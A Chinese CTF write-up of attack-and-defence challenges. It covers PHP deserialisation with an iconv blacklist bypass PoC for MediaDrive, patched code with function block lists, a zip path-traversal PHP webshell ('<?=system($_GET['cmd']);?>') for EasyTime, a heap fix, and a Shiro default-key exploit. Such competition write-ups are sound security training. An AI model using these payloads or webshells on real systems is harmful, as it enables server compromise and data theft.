AWDP

MediaDrive

attack

部分源码lib/User.php

<?php
declare(strict_types=1);

class User {
public string $name = "guest";
public string $encoding = "UTF-8";
public string $basePath = "/var/www/html/uploads/";

public function __construct(string $name = "guest") {
$this->name = $name;
}
}

preview.php

$user = null;
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) {
$user = new User("guest");
setcookie("user", serialize($user), time() + 86400, "/");
}

$f = (string)($_GET['f'] ?? "");
if ($f === "") {
http_response_code(400);
echo "Missing parameter: f";
exit;
}

$rawPath = $user->basePath . $f;

if (preg_match('/flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
http_response_code(500);
echo "Conversion failed";
exit;
}

$content = @file_get_contents($convertedPath);

user cookie可控导致反序列化漏洞,控制user->basePath和user->encoding可以实现任意文件读取和flag黑名单绕过。具体操作是利用UTF-8//IGNORE会把转化时不能识别的字符丢弃,就能隔开flag字符串poc

<?php
class User
{
public string $name = "guest";
public string $encoding = "CSISO2022KR";
public string $basePath = "file:///";

public function __construct(string $name = "guest")
{
$this->name = $name;
}
}

echo urlencode(serialize(new User()));

使用时用%x3隔开flag就能读取flag,?f=f%x3lag,因为iconv转换在waf后。

fix

都修了一遍

update.sh

#!/bin/bash

mv index.php /var/www/html/index.php
mv download.php /var/www/html/download.php
mv profile.php /var/www/html/profile.php
mv preview.php /var/www/html/preview.php

profile.php

<?php
declare(strict_types=1);
require_once __DIR__ . "/lib/User.php";
require_once __DIR__ . "/lib/Util.php";
function wafrce($str) {
return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str);
}
$user = null;
if (isset($_COOKIE['user'])) {
$user = @unserialize($_COOKIE['user']);
}
if (!$user instanceof User) {
$user = new User("guest");
}

$msg = "";
$allowed = ["UTF-8", "GBK", "BIG5", "ISO-2022-CN-EXT"];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$enc = (string)($_POST['encoding'] ?? "UTF-8");
if (!in_array($enc, $allowed, true)) {
$msg = "Unsupported encoding";
} else {
$user->encoding = $enc;
setcookie("user", serialize($user), time() + 86400, "/");
$msg = "Saved";
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>Preferences · MediaDrive</title>
<link rel="stylesheet" href="/assets/style.css"/>
</head>
<body>
<div class="app">
<header class="topbar">
<div class="brand">
<div class="dot red"></div><div class="dot yellow"></div><div class="dot green"></div>
<a class="brand-title link" href="/">MediaDrive</a>
<span class="badge">Preferences</span>
</div>
<div class="actions"></div>
</header>

<main class="content">
<section class="card">
<div class="card-head">
<h2>Preview Encoding</h2>
<p class="muted">Choose how filenames are converted before preview.</p>
</div>

<?php if ($msg !== ""): ?>
<div class="toast"><?= Util::h($msg) ?></div>
<?php endif; ?>

<form method="post" class="prefs">
<label class="label">Encoding</label>
<select class="select" name="encoding">
<?php foreach ($allowed as $e): ?>
<option value="<?= Util::h($e) ?>" <?= $user->encoding === $e ? "selected" : "" ?>>
<?= Util::h($e) ?>
</option>
<?php endforeach; ?>
</select>

<div class="row-actions">
<button class="btn primary" type="submit">Save</button>
<a class="btn ghost" href="/">Back</a>
</div>

<div class="hint">
Stored in <span class="mono">user</span> cookie.
</div>
</form>
</section>
</main>

</div>
</body>
</html>

preview.php

<?php
declare(strict_types=1);
require_once __DIR__ . "/lib/User.php";
require_once __DIR__ . "/lib/Util.php";

$user = null;
if (isset($_COOKIE['user'])) {
$str = @unserialize($_COOKIE['user']);
if(wafrce($str)){
$user = $str;
}
}
if (!$user instanceof User) {
$user = new User("guest");
setcookie("user", serialize($user), time() + 86400, "/");
}

$f = (string)($_GET['f'] ?? "");
if ($f === "") {
http_response_code(400);
echo "Missing parameter: f";
exit;
}

$rawPath = $user->basePath . $f;

if (preg_match('/system|tail|flag|exec|base64|flag|\/flag|\.\.|php:|data:|expect:/i', $rawPath)) {
http_response_code(403);
echo "Access denied";
exit;
}

$convertedPath = @iconv($user->encoding, "UTF-8//IGNORE", $rawPath);
if ($convertedPath === false || $convertedPath === "") {
http_response_code(500);
echo "Conversion failed";
exit;
}

$content = @file_get_contents($convertedPath);
if (preg_match('/system|tail|flag|exec|base64/i', $convertedPath)) {
die('no!');
}
else{
if ($content === false) {
http_response_code(404);
echo "Not found";
exit;
}
}


$displayRaw = $rawPath;
$displayConv = $convertedPath;
$isText = true;

for ($i=0; $i<min(strlen($content), 512); $i++) {
$c = ord($content[$i]);
if ($c === 0) { $isText = false; break; }
}

?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>Preview · MediaDrive</title>
<link rel="stylesheet" href="/assets/style.css"/>
</head>
<body>
<div class="app">
<header class="topbar">
<div class="brand">
<div class="dot red"></div><div class="dot yellow"></div><div class="dot green"></div>
<a class="brand-title link" href="/">MediaDrive</a>
<span class="badge">Preview</span>
</div>
<div class="actions">
<a class="btn ghost" href="/profile.php">Preferences</a>
</div>
</header>

<main class="content">
<section class="card">
<div class="card-head">
<h2>File Preview</h2>
<p class="muted">Converted paths are shown for debugging.</p>
</div>

<div class="kv">
<div><span class="k">User</span><span class="v"><?= Util::h($user->name) ?></span></div>
<div><span class="k">Encoding</span><span class="v mono"><?= Util::h($user->encoding) ?></span></div>
<div><span class="k">Raw path</span><span class="v mono"><?= Util::h($displayRaw) ?></span></div>
<div><span class="k">Converted</span><span class="v mono"><?= Util::h($displayConv) ?></span></div>
</div>

<div class="row-actions">
<a class="btn ghost" href="/">Back</a>
<a class="btn" href="/download.php?f=<?= urlencode($f) ?>">Download</a>
</div>

<div class="preview">
<?php if ($isText): ?>
<pre><?= Util::h($content) ?></pre>
<?php else: ?>
<pre class="mono"><?=
Util::h(bin2hex(substr($content, 0, 2048)))
?></pre>
<div class="hint">Binary preview (hex, first 2KB)</div>
<?php endif; ?>
</div>
</section>
</main>

<footer class="footer">
<span class="muted">MediaDrive · Internal tool</span>
<a class="muted" href="/health.php">health</a>
</footer>
</div>
</body>
</html>

index.php

<?php
declare(strict_types=1);
require_once __DIR__ . "/lib/User.php";
require_once __DIR__ . "/lib/Util.php";

function wafrce($str) {
return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str);
}

$uploadsDir = "/var/www/html/uploads/aaa/";

$user = null;
if (isset($_COOKIE['user'])) {
$str = @unserialize($_COOKIE['user']);
if(wafrce($str)){
$user = $str;
}
}
if (!$user instanceof User) {
$user = new User("guest");
setcookie("user", serialize($user), time() + 86400, "/");
}

$msg = "";
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$f = $_FILES['file'];

if ($f['error'] === UPLOAD_ERR_OK) {
$file_content = file_get_contents($f);
if (preg_match('/<\?php|<script|<%|eval\(|system\(|exec\(|passthru\(|shell_exec\(/', $file_content)) {
die('Potentially malicious file detected');
}
$name = Util::safeUploadName($f['name'] ?? 'upload.bin');
if (!Util::isAllowedUploadExtension($name)) {
$msg = "Upload failed.";
} else {
$dst = $uploadsDir . $name;
if (move_uploaded_file($f['tmp_name'+'asdasdasdasdasd'], $dst)) {
$msg = "Uploaded: " . $name;
} else {
$msg = "Upload failed.";
}
}
} else {
$msg = "Upload error: " . (string)$f['error'];
}
}

$files = Util::listUploads($uploadsDir);

?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>MediaDrive</title>
<link rel="stylesheet" href="/assets/style.css"/>
</head>
<body>
<div class="app">
<header class="topbar">
<div class="brand">
<div class="dot red"></div><div class="dot yellow"></div><div class="dot green"></div>
<span class="brand-title">MediaDrive</span>
<span class="badge">Preview & Convert</span>
</div>

<div class="actions">
<a class="btn ghost" href="/profile.php">Preferences</a>
</div>
</header>

<main class="content">
<section class="card">
<div class="card-head">
<h2>Upload</h2>
<p class="muted">Upload a file, then preview it.</p>
</div>

<?php if ($msg !== ""): ?>
<div class="toast"><?= Util::h($msg) ?></div>
<?php endif; ?>

<form class="upload" method="post" enctype="multipart/form-data">
<input class="file" type="file" name="file" required />
<button class="btn primary" type="submit">Upload</button>
</form>

<div class="hint">
Current user: <b><?= Util::h($user->name) ?></b> · Encoding: <b><?= Util::h($user->encoding) ?></b>
</div>
</section>

<section class="card">
<div class="card-head">
<h2>My Files</h2>
<p class="muted">Click preview to open a file.</p>
</div>

<?php if (count($files) === 0): ?>
<div class="empty">No files yet. Upload one to get started.</div>
<?php else: ?>
<div class="table">
<div class="row head">
<div>Name</div><div>Size</div><div>Updated</div><div>Actions</div>
</div>
<?php foreach ($files as $it): ?>
<div class="row">
<div class="mono"><?= Util::h($it['name']) ?></div>
<div><?= Util::h(Util::niceSize((int)$it['size'])) ?></div>
<div><?= date("Y-m-d H:i:s", (int)$it['mtime']) ?></div>
<div class="row-actions">
<a class="btn small" href="/preview.php?f=<?= urlencode($it['name']) ?>">Preview</a>
<a class="btn small ghost" href="/download.php?f=<?= urlencode($it['name']) ?>">Download</a>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
</section>
</main>

<footer class="footer">
<span class="muted">MediaDrive · Internal tool</span>
<a class="muted" href="/health.php">health</a>
</footer>
</div>
</body>
</html>

health.php

<?php
echo "ok";

download.php

<?php
declare(strict_types=1);
require_once __DIR__ . "/lib/User.php";

function wafrce($str) {
return !preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $str);
}

$uploadsDir = "/var/www/html/uploads/";

$user = null;
if (isset($_COOKIE['user'])) {
$str = @unserialize($_COOKIE['user']);
if(wafrce($str)){
$user = $str;
}
}
if (!$user instanceof User) $user = new User("guest");

$f = (string)($_GET['f'] ?? "");
if ($f === "") { http_response_code(400); echo "Missing f"; exit; }

$path = $uploadsDir . $f;
$path = @iconv($user->encoding, "UTF-8//IGNORE", $path);
if ($path === false || $path === "") { http_response_code(500); echo "Conversion failed"; exit; }

$real = realpath($path);
$uploadsReal = realpath($uploadsDir);
if ($real === false || $uploadsReal === false || strpos($real . DIRECTORY_SEPARATOR, $uploadsReal . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(404);
echo "Not found";
exit;
}
if (!is_file($real)) { http_response_code(404); echo "Not found"; exit; }

header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"" . basename($f) . "\"");
if (preg_match('/system|tail|flag|exec|base64/i', $real)) {
die('no!');
}
else {
readfile($real);
}
// readfile($real);

EasyTime

attack

弱口令密码为secret进界面。很老的一个压缩包解析漏洞,在压缩包中写斜杠实现目录穿越任意文件上传。写…1…1…1var1www1html1index.php

<?=system($_GET['cmd']);?>

bandizip打包成zip文件后010 editor打开,把1改成斜杠/

alt text

在about中把文件url改成http://127.0.0.1:80/index.php?cmd=ls+/就能执行任意命令了。

cat entrypoint.sh看到flag在tmp目录下,按名字读取就好了

broken_manager

fix

image-20260322163651298

Delet将长度s__1置为0,没有将堆块置零,将其patch为s0即可 image-20260322163859633

ISW

第三届长城杯-isw

fscan 扫出 sh1ro的默认密钥

sh1ro反序列化检测工具一把梭了哥斯拉连上拿到flag在根目录下flag1

写在最后

ISW阶段算是坐大牢了,30多名整了个二等奖回来,明年接着努力吧